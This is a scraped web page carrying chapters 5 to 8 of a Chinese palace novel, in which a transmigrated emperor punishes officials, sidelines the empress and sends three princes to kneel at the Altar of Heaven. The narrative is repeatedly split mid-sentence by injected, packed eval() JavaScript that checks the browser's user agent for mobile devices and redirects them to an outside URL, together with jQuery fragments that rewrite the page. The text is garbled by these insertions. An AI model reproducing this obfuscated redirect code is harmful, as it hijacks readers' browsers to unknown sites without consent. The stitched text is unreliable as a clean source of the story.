l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078914|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正殿里等候。 贤妃用愤怒地眼神瞪着惠妃。 惠妃无视她的怒意,秀眉紧蹙。 宁妃欲言又止地看着她们。 皇帝把她们叫过来,却又将她们晾在这里。这是何意? 站得越久,三人内心越是焦虑恐慌。 周安之看着满桌清淡的菜肴,皱着眉头吃起来。 他倒是想吃香喝辣,但是这个老登的身子可扛不住这样的油腻咸香食物。 李正喜知道皇帝心里憋着怒火,伺候得特别小心,除了吃喝之外,旁的话根本不敢多说。 左少监万秉德过来禀告皇帝:“启禀陛下,贤妃娘娘、惠妃娘娘、宁妃娘娘在前殿等候。” 周安之脸色没什么情绪,开口说道:“挑点经书给她们抄写。”省得太闲,到处蹦跶。 乍然变成皇帝,坐在这个位置上。为了自己的狗命,真是不得不开始防备所有人。 从小到大,周安之在宫里过得并不好。 主要原因是他没了亲娘,没人护着。次要原因是宫里传闲话,说他命里带煞。 后宫捧高踩低,若他不是胎穿过来的,根本活不到成年。得亏他心理素质强,厚着脸皮混着混着就长大了! 这后宫中,除了丽贵妃留下来的几位老人在照顾周安之,陈皇后那边逢年过节也会派人送东西给周安之。 在周安之七八岁的时候,曾有宫人教唆周安之。 那宫人话里话外的意思是陈皇后当年嫉恨丽贵妃夺走了后宫大权,才会在丽贵妃生产的时候下手,以致于丽贵妃血崩薨逝。 陈皇后派人送东西给周安之,必然是因为做了亏心事,才会赏点东西施舍给周安之。 周安之又不是真小孩,岂能看不出有人想拿他当刀子对付陈皇后?当时他直接跑到千岁殿哭闹,大声说出这番话。 陈皇后气得够呛!当即整顿后宫上下,扬言要查出那个教唆周安之的宫人。 虽然此事没有后文,但是自此之后陈皇后经常给周安之送东西。没人再敢说闲话。 周安之没有因此抱上陈皇后的大腿。尽管陈皇后经常给他送东西,却对他避而不见,显然是不想与他走得太近。 只要没人算计他,周安之懒得琢磨后宫的勾心斗角。他每天吃喝玩乐,只盼着早日长大,离京就藩。 可谁能想到刚逍遥了两年,会发生这般大的变故! 想到当前的情况,周安之忽然放下筷子,没了食欲。 5. 第 5 章 第五章眼里还有没有朕 李正喜见皇帝放下筷子,脸色阴沉难看。不禁收紧了呼吸声,轻声问道:“可是菜肴不合口味?” 在皇帝身边伺候了这么多年,李正喜深知皇帝需要一个发泄怒火的宣泄口。眼下他就递出了宣泄口,让皇帝将怒火发泄出来。杀几个御膳房的厨子,也许会让皇帝的心情好一些。 周安之看着剩下的菜肴,皱着眉头言道:“待贤妃她们抄完经,让她们享用这些菜肴。” 无论是前世,还是当五皇子的成长时期,周安之都舍不得浪费食物。 “老奴遵命。”李正喜惊讶,觉得皇帝此举是在警告贤妃等人。 周安之站起来,又道:“往后膳食,依然是清淡为主,两菜一汤,不可铺张浪费。” “老奴遵旨!”李正喜心里惊愕,难道是因为天象让皇帝做出改变,开始过清简的生活? 周安之迈出脚步往外走,见状,李正喜立马弯着腰紧随其后。 贤妃、惠妃、宁妃胆战心惊地跪坐在前殿里抄经,根本猜不到皇帝要意欲何为。 现如今七位皇子被罚到天水寺抄经,而她们也被皇帝叫过来抄经。无论先前冒出什么野心,此时此刻全都鸣金收兵了。毕竟她们的项上人头,全都被皇帝拿捏在手里!谁还敢造次! 三人心不在焉地抄经,乍然听到脚步声。她们登时回神,紧张地坐直身子认认真真地抄经。 本以为皇帝会走到她们面前,开始斥责她们。三人都做好了行礼的准备,同时也整理出了一套狡辩的说辞。 可谁知脚步声却没有停下! 三人忍不住用余光偷窥皇帝,见对方跨出了万岁殿的门槛! 此刻日落西山,残阳如血。 周安之放眼望去,看到一片官员跪在寝宫外面,心里忽然乐了。没想到自己摆烂了十几年,有朝一日能当上皇帝,享受群臣的跪拜。 这么多官员跪在这里,必然是为了逼皇帝出来面对异象。 向来天降异象,便是上天的警示。若是祥瑞倒是一桩美谈,像天狗吞日这种凶兆,那就是上天对天子不满的意思。 周安之已经猜到这群官员的目的,大步走到过去。装模作样地问道:“众卿跪在这里,意欲何为?” 连续跪了几天,很多官员都跪倒了。 有些官员甚至昏厥被御医救治醒来后又回来接着继续跪。 众人心里对皇帝自然有颇多怨气。他们在外面跪了多久对皇帝的怨气就有多深。 跪在外面的这几日,他们已经统一好了劝谏的说辞。 看到皇帝终于肯出来了。众人激动地朝皇帝俯首磕头,大声嚎叫:“臣等跪求陛下颁罪己诏,于天坛跪拜七日七夜向上苍自检过错!” 他们遭了几天的罪,必须要让皇帝写下罪己诏!而且还要让皇帝在到天坛那里跪着反省几天!让皇帝也尝尝这份苦! 周安之一听这群官员不单要逼他写罪己诏,还要逼他去天坛那里跪着,这可干不了! 这大夏天的,天坛在山顶上,让他顶着酷暑在山顶上跪七天七夜,这群官员莫不是想换个皇帝! 他刚当上皇帝,还没过几天好日子呢!这群大臣就想逼他退位,想得美! 周安之脸色阴沉地盯着群臣,心中已经想好了应对之策。 李正喜见皇帝的脸色这么差,猜测皇帝怕是想挑几个官员砍头。 见这群官员越喊越来劲,他尖声呵斥道:“诸公静静!” 听到李正喜的声音,前排跪着的大臣立马收住了声音。跪在后面的官员也赶紧闭嘴。 待现场恢复安静后,周安之才缓缓开口言道:“朕闭门自省三日,自会颁罪己诏!另责梁王、鲁王、赵王三人到天坛跪七日七夜!” 众人惊呆了。一时之间,他们根本不知如何回应皇帝。 皇帝已经同意颁布罪己诏。这是他们劝谏的主要目的。 但是皇帝不愿意亲自到天坛那里跪七天七夜,而是让三位皇子代替自己去天坛那里跪着。 子代父跪,好像也没毛病…… 这样一来,岂不是苦了梁王等人?又是被罚天水寺抄经又是要到天坛跪七天七夜。 所以他们把皇帝逼到最后,倒霉的是三位皇子…… 在场的各皇子党羽皆是一言难尽的表情,这岂不是搬起石头砸自家主子的脚嘛!不用想都知道梁王、鲁王、赵王走出天水寺后脸色会变得多难看了! 周安之压根不给这群官员继续逼迫的机会,脸上没有情绪地扫视众人,刻意言道:“李正喜,听闻朝中有官员到宫帏影响皇后休养,还将皇后气晕了?” 李正喜弯着腰,连忙回应道:“是有几位官员到了千岁殿那边。” “朕还没死呢!一群混账东西!连后宫都敢踏足!眼里还有没有朕!成日里将规矩礼法挂在嘴边,这时候倒是不讲规矩了!”周安之故作大怒的模样,转身朝后宫的方向走去。 一众官员被皇帝撇下,心思各异。 看来他们先前没有跟着那几位大臣去后宫找陈皇后是对的!要不然现在倒霉的人就是他们了! “都别跪着了!快起来吧!” 钦天监的监正撑着身子艰难地爬起来,赶紧带领着自己部门的一众小弟离开。 皇帝这是要找人发火啊!等皇帝骂完踏足后宫的那几个大臣,回来看到他们还跪在这里,必然免不了将剩下的怒火发泄在他们身上!还是赶紧溜吧! 见钦天监的官员都撤了,其他官员也赶紧爬起来离开现场。 周安之乘坐步辇前往千岁殿。 临近千岁殿的时候,队伍还未停下,李正喜便高声开口喊道:“陛下驾到!” 内阁六位大臣听到皇帝来了,顿时来了精神。换了个方向跪下:“臣等参见陛下!” 步辇停下,李正喜朝周安之伸出手。可周安之却没有动作,压根没有下来的意思。 扫了眼那几个老头,周安之声音淡漠地言道:“六位卿家在朝多年,应当知晓宫中的规矩。今日尔等竟敢闯入宫帏之地,莫不是当朕死了!” 这话可严重了!惊到了在场的六位大学士。 他们本想让陈皇后去请皇帝出面,好好劝谏皇帝。谁料事情会发展到这一步! 六人顿时后悔走错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078915|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步棋。在皇帝派人传见贤妃等人的时候,他们当时就该撤了! 不对,他们从一开始就不该听从那三位妃子的建议,跟随她们等人来到千岁殿请陈皇后! 现在好了,他们还没来得及开口劝谏皇帝呢。倒是被皇帝给问责了! 周安之不给他们开口解释的机会,挥手言道:“尔等有违宫规,李正喜,给朕按宫规处置!” 虽然周安之不管朝堂上与后宫里的争斗,但他又不是啥也不懂。 这几个大学士,曾经商议要将霍家军改名为长胜军! 自大月开国以来霍家军皆由霍家掌兵,老镇西侯在的时候,特别疼爱唯一的女儿。霍家千金被皇帝下旨纳入宫中,封为丽妃。在陈皇后生下永宁公主后,丽妃晋升为丽贵妃,掌管后宫大权。 这六位大学时当年在朝堂上提议给霍家军更名一事,就是冲着丽贵妃跟未出世的皇嗣来的! 此事在朝堂上刚提议没几天,而后丽贵妃忽然就生了。生下五皇子后薨逝,让人始料不及。 丽贵妃薨逝后,老镇西侯每年都会派人入宫探望周安之。在老镇西侯离世后,霍家每年依然会派人入宫探望周安之。 由于周安之在宫里的名声太差了,霍家曾经有心好好教导他。但是周安之压根不愿意奋发图强。在成年之后,周安之远离京城就藩,只顾逍遥玩乐,压根没有忠君报国的宏图大志,让舅舅对他失望透彻,早就不管周安之了。 想到这里,周安之收起思绪。 这些陈年旧事,稍一打听便能知晓里边的弯弯绕绕。 如今发生天狗吞日与七星连珠的异象后,这几个大学士蹦跶这么高如此卖力的搞事情,周安之可不会惯着他们! 见其中一个大学士抬起头,周安之立刻加重说话的语气,催促道:“都愣着作甚!难不成让朕亲自动手?” 东阁大学士面色震惊地望着皇帝。 他都五十有五了!依照宫规,擅闯后宫杖责五十!他这把老骨头哪里挺得住!真要是杖责,他怕是挨不过四十杖人就要断气了! “快快!你们几个!动手啊!”李正喜慌忙指挥宫人将这几个大学士拉走。 东阁大学士声音沙哑地叫道:“陛下!并非臣等擅闯后宫!而是受宫中娘娘安排来此请皇后娘娘!” 其他几个大学士气得冲东阁大学士瞪眼。本来他们觉得皇帝不会真的将他们打死!只是意思意思给他们个教训。现在这个姓崔的如此说话,他们几个不死也得死了! 皇帝的疑心向来很重!当下知道他们这几个内阁大学士听从后宫娘娘的命令行事,岂还能容得下他们! 周安之冷笑一声,告诉李正喜:“除了中极殿大学士,其余人拉到皇宫大门外杖责二十后全都罢职!” 总要留下一个干活的人。 闻言,李正喜吃惊! 还以为皇帝会加重惩罚,让这六个大学士死得很难看。谁知皇帝竟然大发善心! 仅仅是罢免了五人官职,连杖责都减去了一半!这无疑是留了他们一命! 其中,中极殿大学士居然没有受到影响!官帽还能继续戴在头上! 6. 第 6 章 第六章不必操心 处置完那几个内阁大学士后,周安之走进千岁殿。 陈皇后在继续装晕与起来见驾之间,犹豫片刻还是选择面对皇帝。 毕竟她可是抗住了众人的压力,没有去逼迫皇帝。纵然无功,但是与其他人对比起来,她的无过在皇帝眼里就是有意义的! 心里惦记着小女的婚事,陈皇后还想再恳求一下皇帝,希望皇帝能够改变圣意。不要将她的永宁下降给镇西侯世子。 哪怕是让永宁公主下降给一个寒门出身的进士,小女至少还在自己膝下,随时能见面。若是永宁嫁到西疆那么远的地方,往后她们母女一年才能见一次面!陈皇后在宫中可真是孤苦伶仃了! “臣妾参见陛下……” 陈皇后面色苍白,在林嬷嬷的搀扶下起身向皇帝行礼。 周安之转头瞥了眼李正喜:“还不快扶着皇后坐下?” 李正喜立马上前与林嬷嬷一左一右地搀扶着陈皇后,示意她坐下。 可陈皇后故意不坐,声音有气无力地对皇帝言道:“陛下,臣妾近来身子不适,怕是无力打理后宫事务。” 刚才外面的动静,陈皇后已知晓。 这几个大学士受后宫妃嫔教唆踏足宫帏,已经触及到了皇帝的底线。 虽然不知道皇帝为什么会轻饶这几个大学士,但是陈皇后能从这件事里猜到皇帝的下一步动作绝对会威慑后宫跟朝堂! 这后宫妃嫔,地位低的人没资格打理后宫事务。但凡有点地位的妃嫔,早就各自抱上了三妃的大腿。 故而陈皇后笃定哪怕自己交出后宫大权,皇帝也绝对找不到适合的接手人! 贤妃、惠妃、宁妃膝下的皇子都已经羽翼丰满,皇帝是绝对不会让这三妃触碰后宫大权的! 这后宫大权,必须只能由陈皇后掌控!因此,陈皇后才敢拿后宫大权作为筹码跟皇帝再次讨论永宁公主的婚事。 周安之压根没怀疑陈皇后话里有别的意思。 陈皇后自生下永宁公主后落下病根,常年静养,不爱热闹。这一次贤妃等人如此蹦跶,非要把陈皇后搅进这滩浑水里。陈皇后定是厌烦了这群人,所以宁可交出后宫大权,也不想再被这群人骚扰。 他一脸认真地回应陈皇后:“身子为重,既然皇后无心打理后宫事务。朕自会找人接手。” 闻言,陈皇后面色震惊地看着皇帝。 不是,这个老登怎么回事! 皇帝一定是故意的!猜到她想利用后宫大权来谈永宁公主的婚事,所以压根没打算顺着她的意思! 此时此刻,陈皇后心里对面前这个男人恨透了!难怪天降警示!老天都容不下这种人当皇帝啊! 周安之觉得陈皇后的反应有些奇怪,心里疑惑自己是不是猜错了对方的意思。马上改口言道:“永宁也不小了。该让她学着打理后宫事务,为你分忧。” 陈皇后:!!! 惊喜来得太快,让陈皇后警惕起来。怀疑皇帝是故意说反话试探她! 暗暗吸了一口气,陈皇后低声言道:“陛下说笑了,这历朝历代,从无公主打理后宫的先例。” 周安之真是猜不透陈皇后的心思。 对方既不想管理后宫,也不愿意让永宁公主来管后宫。那这后宫诸多事务该交给谁来打理? 他索性直接问道:“永宁长大了,该做点事了。总不能一天到晚无所事事吧?” 陈皇后:…… 皇帝这话到底是什么意思?催着她的永宁成婚? 想到这里,陈皇后眼神黯然,忽然哭了起来,哽咽地说:“陛下,臣妾就生下长乐跟永宁这两个女儿。长乐与定北侯世子成婚后去了北疆,只有每年岁暮之时臣妾才能与她见上一面。如今永宁长大了,陛下有意促成她与镇西侯世子成婚。两个孩子都离开臣妾,臣妾往后可怎么办啊!” 周安之:??? 啥?父皇竟然想让永宁嫁给镇西侯世子,也就是让他的老妹嫁给他的老表? 这老登真是满心算计啊! 这两年离开京城后,周安之远离了算计,压根不清楚宫里的情况,也不知道父皇老登这一天到晚在忙活着算计哪个。 现在得知父皇有意要促成永宁公主跟镇西侯世子成婚,周安之必须得把这桩婚事搅黄了! “朕看镇西侯世子一表人才,少年英雄,才有意促成这桩婚事。既然皇后不愿意让永宁出阁,那便留她在宫中吧!” 说话的时候,周安之压根没意识到自己在皱着眉头。 陈皇后惊喜地抬头看向皇帝,然而对方这个阴沉的模样让她忐忑不安。总感觉皇帝又有了新的算计! 她呐呐地言道:“永宁终究是要出阁的。她的婚事,臣妾能否做主?” 虽然皇帝暂且打消了让永宁与镇西侯世子成婚的念头,但是保不齐这老登会将永宁嫁去更远的地方! 前段时间匈奴那边就递来国书,有意求娶大月公主!还在国书上罗列了一堆嫁妆,这是明晃晃的借和亲一事向大月要钱来了! 这可是个危险的信号!匈奴那边要是娶不到大月公主,怕是会出兵攻打大月! 皇帝挑选了七公主,封为永和公主,待三个月后永和公主及笄就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078916|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出嫁匈奴! 陈皇后这段时间经常派人过去关怀永和公主,就怕这位永和公主会临时尥蹶子,到时候可就喜事变成战事了! 两国和亲还没有促成,现在皇帝突然放弃了让永宁公主嫁去西疆的念头,陈皇后不得不多留个心眼,生怕皇帝会将永宁公主算计到别处! 周安之打量着陈皇后,见对方一副小心翼翼的神情,反问道:“皇后想让永宁嫁给谁?” 见皇帝没有正面回答,而是在试探她的想法。陈皇后倒是不敢说了。 原本想着若是皇帝同意让她作主女儿的婚事,陈皇后就让陈家子弟尚主。左右都是自家人,陈家肯定不会欺负她的女儿! 过了一会儿,陈皇后才慢吞吞地回话:“近两年臣妾的身子越发无力,想多留永宁在身边待几年。” 陈皇后深知小女儿已经到了出阁的年纪,现在出阁最好。越往后拖,无论坐在皇位上的人是谁,都对她们不利。可是现在轮不到她作主永宁的婚事,陈皇后又猜不到皇帝的心思,只能这般回话。 周安之盯着陈皇后的眼睛,知道对方肯定是有自己的小心思,见她不直接说出来。也懒得花费心思猜测,说了一句:“如此,依皇后之意。” 陈皇后顿时没话说了。 周安之也不想继续待在这里,告诉陈皇后:“既然皇后身子不适,无力掌管后宫,那便让人着手清点交接一切事务。” 说完这话,周安之转身准备离去。 陈皇后面色惊愕地叫住皇帝:“陛下!” 周安之停下脚步,回头看向对方。眼神疑惑,眉头依然皱着。 陈皇后面色不自然地问道:“陛下打算让哪位妹妹接手后宫事务?” 这后宫大权,陈皇后又不是真的想交出去!不过是想仗着管辖后宫跟皇帝谈一谈永宁公主的婚事! 现在皇帝真的收走了后宫大权,陈皇后必然会成为那些妃嫔的笑话!她以后在宫中还有何威严?陈皇后立不住威,连带着永宁公主也会在后宫被人嘲笑! 这一刻,陈皇后是真的慌了! “此事皇后就不必操心了!身子为重,你好好休养!” 周安之需要一个人静静,捋清楚当下朝堂跟后宫的情况。 陈皇后欲言又止,就这么眼睁睁地看着皇帝离开了!然后僵着脸,哭着看向林嬷嬷。 林嬷嬷叹了口气,低声安慰道:“皇后娘娘好歹将永宁公主留在了身边。” 虽然陈皇后失去了后宫大权,但是永宁公主的婚事暂且搁置了。目的也算是达成了一半。 陈皇后可真是有苦说不出啊! 7. 第 7 章 第七章不共戴天 官员们陆续从宫中撤退,出宫后,将宫里的情况分享给跪在宫外的官员们。 他们三五成群的扎堆探讨当前的情况。倏地听到谩骂声跟哭嚎声,众人同时转头望向宫门。 “姓崔的!你个歹毒心肠的烂货!害得我等丢官!此仇不共戴天!” “崔长恒!你给我等着!你儿子在户部也待不了几日了!” 看到内阁那几位大学士被宫人拖出来,众人面色各异。立马反应过来这几个人必然是因为闯入宫帏才会被皇帝惩治! 让众人疑惑不解的是,他们为何独独逮着东阁大学士崔长恒谩骂? “陛下开恩,轻饶了我等!崔某失言,还请各位宽谅则个!” 崔长恒哪成想自己一时失言,不单害了自己还害了这几个同僚!从千岁殿被拖到宫外的这一路,他一直在道歉,奈何根本平息不了这几个同僚的怒火。 左少监万秉德看到这么多官员还停留在这里,心道:难怪皇帝要把这几个大学士拖到宫门口处置!这是杀鸡儆猴威慑群臣啊! 他做了个手势,示意宫人停下,开口道:“行刑!” 宫人们立马行动起来,将六张长凳按顺序整齐地摆放好,把六个老头摁在长凳上捆绑,特地往他们嘴里塞了竹片防止他们承受不住疼痛不小心咬断舌头。 做好准备工作后,宫人们开始行刑,杖打这六个老头。 纵然这六个大学士口中咬着竹片,可他们嘶喊的声音还是能从牙缝里挤出来,让众人听了感到头皮发麻。 内阁这几位大学士,可是潜龙之时就效忠皇帝的老人了!可以说是皇帝最信任的官员!现在因为踏足宫帏,皇帝说处置就处置了!当真是让人心寒,也让人发怵! 有人于心不忍地言道:“崔阁老他们都年过知命了,依照宫规臣子擅闯宫帏要杖责五十。也不知道他们能不能受得住这五十杖!” 怕是难吧!五十杖打在这些老骨头身上,纵然最后还剩下一口气,抬回家也得准备后事了。 众人面色凝重地看着眼前这一幕,皇帝这是要赐死这六个内阁大学士啊! 也有官员在心里暗喜,觉得这是个机会!这六个老头一死,内阁无人可用,皇帝必然会选出新的官员入内阁议政! 正当众人在思索这件事的影响时,宫人们忽然停止行刑,收起了长杖。 “这才二十杖吧?”有人特地留心数数。 “还真是只有二十杖!看来陛下还是开恩了!” 群臣惊讶!还以为皇帝不留情面的要赐死这几个内阁大学士呢!没成想皇帝放过了这几个老头。 部分心里刚冒出小九九的官员顿时露出失望的神色。 左少监万秉德尖声宣布皇帝口谕:“陛下口谕!除中极殿大学士顾远道外,其余五人即刻脱下官服!罢官归乡!” 闻言,在场所有官员目瞪口呆! 还以为只打了二十杖,皇帝要大发善心轻饶了这几个内阁老头。谁料皇帝虽然留了他们的性命,却要将这几人罢职赶出京城!可真是君心莫测! 有些人好奇起来,为何其他人都被罢职了,只有中极殿大学士顾远道安然无事? 不管怎样,皇帝一下子罢免了五位内阁大学士,内阁必然会重新选出五个人填上这几个官职!这无疑是给了部分官员奋斗的希望! 左少监万秉德将众人的反应尽收眼底,接着颁布第二道口谕:“传陛下口谕,令梁王、鲁王、赵王携带经书前往天坛诚心跪拜七日七夜。” 各皇子党的官员们听到这个消息,顿时面色复杂。 他们已经后悔逼迫皇帝去天台跪七天七夜了!挖坑挖到最后,坑到的却是梁王等人! 宣完口谕后,万秉德走到顾远道面前,低声言道:“顾阁老若是还能动得了,请随咱家入宫谢恩。” 顾远道张开口,吐出竹片,无声地点头。 万秉德也贴心,只要皇帝还用顾远道这个人,他自然得照顾点。所以让两名宫人搀扶着顾远道入宫。 周安之回到万岁殿后,无视贤妃等人,径自往后殿走。 贤妃她们抬头望了眼皇帝,根本不知道皇帝出去一趟干了什么事。 原以为皇帝把她们叫过来是要斥责。可皇帝却没有理会她们的意思!她们宁可皇帝把怒火发泄出来,也好过像现在这般漠视她们!叫人心里越发惶恐! 殿内的菜肴已经撤了,周安之进入寝殿后,就把李正喜赶出去。自己躺在龙榻上思索。 周安之有心了解清楚朝中的情况跟后宫的情况,可是他不能贸然开口问人。 这一问,怕是会暴露异样,引人怀疑。可不能让其他人发现这个老登的身子换了个内芯! 梁王等人已经羽翼丰满,朝中后宫,有多少人悄悄入了他们的阵营。身边必然有这三个皇子的眼线!周安之更得小心谨慎,不能让其他人发现异样。 唉!还没有开始享受当皇帝的快乐呢!就先得开始承受当皇帝的痛苦! 周安之刚叹完气,外面忽然传来李正喜的声音。 “启禀陛下,中极殿大学士顾远道特来谢恩!” “传他进来。”周安之没有刻意抬高声音。 门外竖着耳朵的李正喜听清楚皇帝的回应后,立马示意顾远道跟随他进去。 低着头走进内室,李正喜先停下脚步,顾远道当即跪下来磕头:“臣顾远道叩谢陛下开恩!” 周安之坐起来,双手放在腿上,面色严肃地对顾远道言道:“顾远道,朕念在你当年曾救驾有功的份上,此番便轻饶你。” 顾远道再次叩头谢恩:“臣再次叩谢陛下!” 救驾一事,他深知一旦提起,必当令皇帝厌恶。故而这些年来顾远道压根不敢提起此事。哪怕刚刚是被皇帝处置之时,他也不敢开口提这件事。 幸好皇帝还念着这份旧情,放过了他! 然而这份旧情今日已经耗尽!顾远道深知自己已经被皇帝猜忌,皇帝虽然留他下来,但是往后必然不会如从前般信任他。 若想安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078917|179349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然无事,就得自己找个合适的机会致仕归乡。如此一来,也算是成全了君臣体面! 周安之谈起正事,吩咐道:“给朕拟一份罪己诏。” 顾远道抬起头,神情愕然地望着皇帝。 他惊讶于皇帝肯下《罪己诏》 然而皇帝却不愿意自己写《罪己诏》 这岂不是没有诚心? 皇帝下《罪己诏》是给自检过错,向上天请罪的。 现在皇帝让他来写《罪己诏》 那这份《罪己诏》岂不是成了一纸敷衍的文书? 顾远道欲言又止地望着皇帝,刚刚得到皇帝开恩,他还真不好开口拒绝这份差事。 周安之见他这副神情,假模假样地说道:“若是顾卿不愿意写,那便罢了!” 顾远道心里慌了,赶紧出声回应道:“臣愿意写《罪己诏》” 周安之特地言道:“这可是你自愿为朕写的,而非朕逼迫你。” 顾远道心里发苦,低声道:“臣叩谢陛下开恩,自愿为陛下写《罪己诏》” 周安之对李正喜抬手,让李正喜领着顾远道去干活。 刚受了二十杖,顾远道整个下半身疼得厉害,根本坐不了,只能趴在地上。 万秉德伺候在他的身旁,亲自磨墨。 手里握着笔,顾远道迟迟下不了笔。 脑子里一片空白,这一刻他觉得自己还不如与崔长恒等人一个下场。 这份《罪己诏》还真是不好写! 顾远道得站在皇帝的角度,检讨自己的过错跟问题。 可他根本不是皇帝啊!怎么检讨皇帝的过错跟问题? 最关键的是,顾远道要是写得太过,指出皇帝的一堆过错,皇帝必然不悦。 可要是轻描淡写,草草几笔带过皇帝的过错,怕是朝中那些官员会以诚意不足继续逼迫皇帝写第二版《罪己诏》 除此之外,顾远道代写《罪己诏》的事还不能让朝中知道!要不然皇帝跟他都得被骂! 难办!太难办了!还不如打完板子直接滚出庙堂呢! 万秉德一直在盯着顾远道,见对方半晌不动笔写内容,轻咳了一声,询问道:“顾阁老可有其他吩咐?” 顾远道摇头,深吸一口气,面色痛苦地开始下笔,先把题目给写了。 绞尽脑汁写完这份《罪己诏》 顾远道整个人都虚脱了,双手颤抖地将《罪己诏》呈交给皇帝,随之便晕了过去。 见状,周安之立马让万秉德将顾远道带去太医院那边救治。 顾老头可不能死了!他还指望着对方继续给朝廷干活呢! 周安之看完这份《罪己诏》总体来说是不满意的。 顾老头不愧是老狐狸,将父皇登基以来的功与过都写出来了。重点讲述功劳,轻描过错。 若自己还是五皇子,周安之必然要喷几句。但是他突然变成了皇帝,那自然不能自己骂自己了。 最后,周安之把《罪己诏》交给李正喜颁布出去。 8. 第 8 章 第八章违抗皇命 万秉德携带《罪己诏》来到天水寺宣布圣上口谕。 七位皇子面容憔悴地跪在地上听口谕。 这几日他们一直在抄经,哪怕合眼,也睡得不踏实。寺庙里的斋饭难难以入口,以致于他们都没吃几口。 吃吃不下,睡睡不了。若是外面再无新消息传来,他们再忍两日怕是命都折在这里了! “陛下口谕,令梁王、鲁王、赵王携带抄写好的经书前往天坛,跪七日七夜。” 听完口谕,梁王、鲁王、赵王脸色大变。 不是,他们在这里已经抄写了三天三夜的经书!父皇还要让他们去天坛跪上七天七夜! 明明是皇帝无德,才会天降警示!现在父皇却要折腾他们!哪有这样的道理! 其他四位皇子面色诧异,眼神里流露出担忧的神色。静王等人虽然庆幸不用陪着梁王他们去天坛那里跪着。但是对于他们这些正在参与夺嫡的皇子而言,这可是一个危险的信号! 父皇此举,明显是故意打压老大老二老三!也不知后面还会不会有其他的动作! 万秉德宣读完圣上口谕,观察这几位皇子的表情,开口催促道:“梁王殿下、鲁王殿下、赵王殿下,请随奴婢前往天坛。” 见梁王跟鲁王迟迟不开口说话,赵王心里窝火,实在是忍不住开口问道:“万少监,父皇为何令我们兄弟三人去天坛跪七日七夜?” 万秉德淡淡地回应道:“奴婢岂敢揣测圣意?” 见赵王已经开口,鲁王也跟着问道:“本王能否入宫求见父皇?” 梁王一言不发,心中已经猜测到父皇为何要这般对待他们。 万秉德回应道:“七日七夜之后,三位殿下可自行入宫求见陛下。” 鲁王沉默了,双手无声地攥拳。 赵王嘴里发苦,临走前特地回头看了眼魏王。 梁王与鲁王亦是在跟静王等人交换眼神。 兄弟三人跟随队伍来到天坛山脚下。 赵王望着高高的山,脑子里刚冒出待会儿装晕的想法,就见万秉德双手举着一份圣旨走在最前面。 见状,赵王好奇万秉德手里举着的圣旨是什么内容。 梁王与鲁王同样好奇这道圣旨的内容。 哪怕再累,赵王也撑着身子坚持到山顶上。 进入天坛后,万秉德开口言道:“奴婢谨遵皇命,特将《罪己诏》上达!” 接着,万秉德念起了《罪己诏》的内容。 梁王、鲁王、赵王面色惊讶地看着这一幕! 父皇还真写出了《罪己诏》 这倒是堵住了悠悠众口!让他们没噱头搞事情了! 赵王心里很不高兴,父皇失德,引得上天震怒降下警示,为何受罪的却是他们这几个皇子! 万秉德念完《罪己诏》后,将这份《罪己诏》焚烧成灰。 他转过身看向三位皇子,脸上没有情绪地言道:“三位殿下请将这几日抄写的经文奉上!” 三位皇子老老实实的将抄写好的经文拿出来。 万秉德随手翻了翻,特地瞥了眼赵王。 三位皇子上交的经文相互对比,赵王抄写的经文格外潦草。 赵王知道万秉德这个眼神是什么意思,特地站直身子,出声解释道:“这是本王强忍着腹部疼痛好不容易抄写出来的!” 说这些话,这也是为他待会儿装晕做铺垫! 万秉德什么都没说,将经文丢进灰盆里烧了。招了招手,示意宫人把蒲团搬过来。 梁王跟鲁王面无表情地跪下来。 赵王一脸不情愿地跪下。 万秉德盯着他们看了一会儿,对外做了个手势。 很快,两名御医提着药箱走进来。 万秉德告诉梁王等人:“若三位殿下有何不适,可当场就医。” 赵王顿时睁大了眼睛。 父皇这意思,无疑是在告诉他们哥几个,只要不死,就得一直跪着!跪满七天七夜为止! 这个老不死的!想要整死他们啊! 鲁王的脸上出现几分烦躁的情绪。真是不知道这种憋屈日子还得过多久! 梁王微蹙眉头,思绪飘到了后宫。思索宫中现在的情况。 万秉德离开前,特地叮嘱天坛尉好好盯着这三位皇子。 办完事情回到宫中的时候,天已经黑了。万秉德来到面见皇帝,细细汇报情况。 周安之漫不经心地听着。 听完之后,他挥了挥手,交待几句,让万秉德退下。 